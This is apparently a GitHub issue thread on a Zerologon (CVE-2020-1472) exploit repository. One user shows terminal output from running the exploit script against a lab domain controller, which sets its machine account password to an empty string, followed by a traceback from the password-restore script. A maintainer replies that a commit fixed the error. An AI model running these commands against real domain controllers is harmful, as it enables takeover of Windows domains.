socket.gaierror: [Errno -2] Name or service not known

[mpgn]

When running the restorepassword.py script I have this error socket.gaierror: [Errno -2] Name or service not known

⋊> ~/T/CVE-2020-1472 on master ⨯ python3 cve-2020-1472-exploit.py WIN-NP8JD7IHCC5 192.168.0.104                                                  10:12:29
Performing authentication attempts...
==========================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!



⋊> ~/T/CVE-2020-1472 on master ⨯ python3 restorepassword.py poudlard.wizard/WIN-NP8JD7IHCC5@WIN-NP8JD7IHCC5 -hexpass xxxxxx
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation
 
Impacket v0.9.22.dev1+20200914.162022.81d44893 - Copyright 2020 SecureAuth Corporation

 

Traceback (most recent call last):
  File "restorepassword.py", line 150, in <module>
    action.dump(remoteName, options.target_ip)
  File "restorepassword.py", line 48, in dump
    stringbinding = epm.hept_map(remoteName, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp')
  File "/usr/local/lib/python3.8/dist-packages/impacket/dcerpc/v5/epm.py", line 1256, in hept_map
    dce.connect()
  File "/usr/local/lib/python3.8/dist-packages/impacket/dcerpc/v5/rpcrt.py", line 801, in connect
    return self._transport.connect()
  File "/usr/local/lib/python3.8/dist-packages/impacket/dcerpc/v5/transport.py", line 342, in connect
    af, socktype, proto, canonname, sa = socket.getaddrinfo(self.getRemoteHost(), self.get_dport(), 0, socket.SOCK_STREAM)[0]
  File "/usr/lib/python3.8/socket.py", line 918, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
socket.gaierror: [Errno -2] Name or service not known

[dirkjanm]

i think this was fixed in 207197b (I hadn't seen your issue/PR yet at that point)

[mpgn]

ah ok :)